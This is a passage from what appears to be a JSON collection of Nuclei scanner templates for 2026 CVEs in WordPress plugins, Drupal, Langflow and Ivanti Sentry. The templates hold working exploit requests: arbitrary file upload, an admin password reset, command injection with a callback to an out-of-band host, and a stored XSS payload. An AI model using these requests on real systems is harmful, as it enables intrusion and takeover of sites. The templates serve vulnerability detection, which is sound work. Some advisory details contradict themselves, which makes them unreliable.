https://wpscan.com/vulnerability/b55ebf9e-a05d-4ae4-b653-da7db63e76d2/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10823\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-10823\n    epss-score: 0.01524\n    epss-percentile: 0.74716\n    cwe-id: CWE-200\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: ymc\n    product: ymc-filter\n    publicwww-query: \"/plugins/ymc-smart-filter/\"\n  tags: cve,cve2026,wordpress,wp-plugin,ymc-filter,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/ymc/v1/posts/filter HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"params\":{\"filter_id\":1,\"post_status\":\"publish\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/ymc/v1/posts/filter HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"params\":{\"filter_id\":1,\"post_status\":\"draft\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"success\\\":true\", \"post-card\")'\n        condition: and\n# digest: 4b0a00483046022100ca93d75b4383db4eb0628fa6a9045e84d54224c13726fef5d11f3d1ba667d6ff022100d273b0699c17f3829e95f424901a090e07fafe5a099f9498ad75a2415bcc3b62:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-10823.yaml","vuln_id":"cve-2026-10823"},{"raw":"id: CVE-2026-10818\n\ninfo:\n  name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload\n  author: i-am-paradox\n  severity: high\n  description: |\n    WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.\n  remediation: |\n    Update WPForms Pro to a version later than 1.10.1.1.\n  reference:\n    - https://github.com/Nxploited/CVE-2026-10818\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10818\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-10818\n    epss-score: 0.02482\n    epss-percentile: 0.84638\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: awesome-motive\n    product: wpforms\n    shodan-query: http.html:\"wpforms-uploader\"\n    fofa-query: body=\"wpforms-uploader\"\n  tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive,vkev\n\nvariables:\n  dzuuid: \"{{randstr}}\"\n  chunkname: \"{{sha1(dzuuid)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wpforms-uploader\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: form_id\n        regex:\n          - 'data-form-id=\"(\\d+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: field_id\n        regex:\n          - 'data-field-id=\"(\\d+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: input_name\n        regex:\n          - 'data-input-name=\"([^\"]+)\"'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----nxBoundary\n\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"action\"\n\n        wpforms_upload_chunk\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"field_id\"\n\n        {{field_id}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzuuid\"\n\n        {{dzuuid}}\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunkindex\"\n\n        0\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunksize\"\n\n        32\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dztotalchunkcount\"\n\n        1\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"dzchunkbyteoffset\"\n\n        0\n        ------nxBoundary\n        Content-Disposition: form-data; name=\"{{input_name}}\"; filename=\"nx-{{randstr}}.txt\"\n        Content-Type: text/plain\n\n        {{randstr}}\n        ------nxBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{randstr}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502201ab638fa0f23e54a6bbb28583cab5760955df522611d9e517f15314f6345bb49022100c39ac00d132a1395d2df7cc7e07906907446f4fb36fbdc3912d4c8d3796fcee4:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-10818.yaml","vuln_id":"cve-2026-10818"},{"raw":"id: CVE-2026-108123\n\ninfo:\n  name: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure\n  author: 0x_Akoko\n  severity: high\n  description: |\n    WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.\n  impact: |\n    Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.\n  remediation: |\n    Update to the latest version beyond 2.1.0.3.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure\n    - https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system\n    - https://wordpress.org/plugins/wp-booking-system/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-108123\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-108123\n    epss-score: 0.01024\n    epss-percentile: 0.63629\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: wpbookingsystem\n    product: wp-booking-system\n    fofa-query: body=\"/wp-content/plugins/wp-booking-system/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp-booking-system,exposure,unauth,missing-auth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"plugins/wp-booking-system\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0 HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      bid:\n        - 1\n        - 2\n        - 3\n        - 4\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"wpbs-table-first-row\")'\n          - 'contains(body, \"text-align:left\")'\n        condition: and\n# digest: 4a0a0047304502210082e3e7ee8522948e2370e9b9df8cc8619cda6610946bfbc016544e4d22f0152402207ea585e6673c9a6b815c76a6ef1bb31ebf094568908e0262030a8267b06cda55:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-108123.yaml","vuln_id":"cve-2026-108123"},{"raw":"id: CVE-2026-10768\n\ninfo:\n  name: Drupal LocalGov Workflows < 1.6.0 - Information Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    Drupal LocalGov Workflows < 1.6.0 contains a broken access control vulnerability caused by missing authorization checks, letting attackers perform forceful browsing to access unauthorized resources, exploit requires no special privileges.\n  impact: |\n    Attackers can access unauthorized resources, potentially exposing sensitive data or functionality.\n  remediation: |\n    Update to a version later than 1.6.0 or the latest available version.\n  reference:\n    - https://www.drupal.org/sa-contrib-2026-039\n    - https://www.drupal.org/project/localgov_workflows/releases/1.6.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10768\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-10768\n    epss-score: 0.02126\n    epss-percentile: 0.81975\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: drupal\n    product: localgov_workflows\n    framework: drupal\n    fofa-query: 'body=\"/modules/contrib/localgov\"'\n  tags: cve,cve2026,drupal,localgov,exposure\n\nhttp:\n  - raw:\n      - |\n        GET /admin/content/localgov-service-contact/content-by-owner HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, 'views-field-title', 'views-field-user', 'views-field-status')\"\n          - \"contains(body, 'view-id-localgov_content_by_owner')\"\n          - \"!contains(body, 'views-empty')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a0047304502202a27e66091a81f9906de4fd8fb59b1e150848c8ffdf0e390a622c62a93f2e260022100e3c77681fa044f0bad6728b24306c8be66bb9ee3abb556f7847be898a6ed506f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-10768.yaml","vuln_id":"cve-2026-10768"},{"raw":"id: CVE-2026-10580\n\ninfo:\n  name: Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover\n  author: pussycat0x\n  severity: critical\n  description: |\n    Hippoo Mobile App for WooCommerce WordPress plugin <= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.\n  impact: |\n    Unauthenticated attackers can reset any WordPress user's password, including administrators, gaining full administrative control of the site.\n  remediation: |\n    Update to a version later than 1.9.4 or the latest available version.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hippoo/hippoo-mobile-app-for-woocommerce-194-unauthenticated-authentication-bypass-to-administrator-account-takeover-via-rest-api\n    - https://plugins.trac.wordpress.org/changeset/3557733\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-10580\n    epss-score: 0.02948\n    epss-percentile: 0.87199\n    cwe-id: CWE-285\n  metadata:\n    max-request: 2\n    vendor: hippoo\n    product: hippoo-mobile-app-for-woocommerce\n    framework: wordpress\n    verified: true\n    shodan-query: http.component:\"wordpress\"\n    fofa-query: body=\"hippoo\"\n  tags: cve,cve2026,wordpress,wp-plugin,hippoo,woocommerce,intrusive\n\nvariables:\n  new_password: \"{{rand_base(16)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/hippoo/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'Hippoo')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - 'Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"password\":\"{{new_password}}\"}\n\n      - |\n        POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"password\":\"{{new_password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_1 == 200 || status_code_2 == 200'\n          - 'contains_any(body, \"is_super_admin\",\"capabilities\")'\n          - 'contains(body, \"woocommerce_meta\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: username\n        part: body\n        group: 1\n        regex:\n          - '\"username\":\"([^\"]+)\"'\n\n      - type: dsl\n        name: new_password\n        dsl:\n          - new_password\n# digest: 4a0a00473045022100d40a1e4dca3eaa5353e0403ca403899d5c1a8b06c9c95fa4e426d903b45fbcef02203ad8f10bae1bd914dbd658b9c674a45fb9383ed22995a0ab4a4a7af3d682d276:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-10580.yaml","vuln_id":"cve-2026-10580"},{"raw":"id: CVE-2026-105740\n\ninfo:\n  name: Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution\n  author: alex700\n  severity: critical\n  description: |\n    An authenticated user can register an MCP stdio server command that executes\n    when Langflow lists server actions. The 1.9.0 REST validation can be bypassed\n    by placing arguments in the command field. This probe runs a short Python\n    callback, verifies an out-of-band DNS lookup, and removes its server config.\n    The equivalent sink is hardened in 1.10.3.\n  impact: |\n    Authenticated users can execute arbitrary commands on the server, potentially leading to full server compromise.\n  remediation: |\n    Upgrade to version 1.9.0 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2\n    - https://github.com/langflow-ai/langflow/pull/12290\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-105740\n  classification:\n    cve-id: CVE-2026-105740\n    epss-score: 0.03885\n    epss-percentile: 0.90264\n    cwe-id: CWE-78\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: langflow-ai\n    product: langflow\n  tags: cve,cve2026,langflow,mcp,rce,authenticated,oast,intrusive,vkev\n\nvariables:\n  probe_name: \"nuclei_{{randstr}}\"\n\nflow: 'if (http(1) && http(2)) { http(3); http(4); http(5) }'\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{url_encode(username)}}&password={{url_encode(password)}}\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(content_type, \"application/json\") && contains(body, \"access_token\")'\n        internal: true\n    extractors:\n      - type: json\n        name: access_token\n        part: body\n        json:\n          - '.access_token'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v2/mcp/servers/{{probe_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: application/json\n\n        {\"command\":\"python3 -c \\\"import urllib.request;urllib.request.urlopen('http://{{interactsh-url}}',timeout=3)\\\"\",\"args\":[],\"env\":{}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v2/mcp/servers?action_count=true HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        DELETE /api/v2/mcp/servers/{{probe_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v2/mcp/servers HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - \"!contains(body, probe_name)\"\n        condition: and\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n# digest: 4b0a00483046022100df1ecb72a5b66a435562a78442fa6482fbfb8760bff1f3a61402462fedc0b0a102210085ba511b4932b1a44079d6dd211ccf63023a9854fbdd643b2dac3958f4d259b5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-105740.yaml","vuln_id":"cve-2026-105740"},{"raw":"id: CVE-2026-10525\n\ninfo:\n  name: NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS\n  author: sandiyochristan\n  severity: high\n  description: |\n    NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()).\n  impact: |\n    An unauthenticated attacker can inject persistent JavaScript that executes in an administrator's browser session when they view form entries, leading to admin session hijacking, rogue account creation, and full site takeover.\n  remediation: |\n    Update NEX-Forms Express WP Form Builder to 9.2.3 or later, which recursively sanitizes array field inputs (nf_recursive_sanitize).\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10525\n    - https://wpscan.com/vulnerability/d1e191e6-ff5b-4cb8-9b12-8ae73cf0d2f0/\n    - https://wordpress.org/plugins/nex-forms-express-wp-form-builder/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\n    cvss-score: 8.8\n    cve-id: CVE-2026-10525\n    epss-score: 0.00512\n    epss-percentile: 0.43807\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: basix\n    product: nex-forms-express-wp-form-builder\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/nex-forms-express-wp-form-builder/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,nex-forms,xss,stored,unauth,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/nex-forms-express-wp-form-builder/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 9.2.3\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=submit_nex_form&nex_forms_Id=1&company_url=&email={{randstr}}@test.com&nf_xss[]=<img+src%3dx+onerror%3dalert(document.domain)>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'name=\"nf_entry_id\"'\n          - 'value='\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502200c45fe9354f73b6f7f75d49695b6fe83398beeffe400f7de94822660b186c871022100fb82127a6584c08edba49609566fef62827e4b5050524a6d2dc920a43f661b33:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-10525.yaml","vuln_id":"cve-2026-10525"},{"raw":"id: CVE-2026-10520\n\ninfo:\n  name: Ivanti Sentry - OS Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution\n  impact: |\n    Remote unauthenticated attackers can execute code as root, leading to full system compromise.\n  remediation: |\n    Upgrade to versions R10.5.2, R10.6.2, or R10.7.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10520\n    - https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523/blob/main/README.md\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Ivanti\" html:\"Sentry\"\n  tags: cve,cve2026,ivanti,sentry,rce,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eecho%20CVE-2026-10520%3c%2freqandres%3e%3c%2fcommandexec%3e\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Message handled successfully\"\n          - \"CVE-2026-10520\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100bf4183f42e58ed6847f53e8806ee9de5bf29ddb80abf82357fef07c4b1c97a7202200bfb46e1236eebeb6c7dd24ea693fff634d5cd1c6ceb38d8e390c61ba8512ffa:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-10520.yaml","vuln_id":"cve-2026-10520"}]}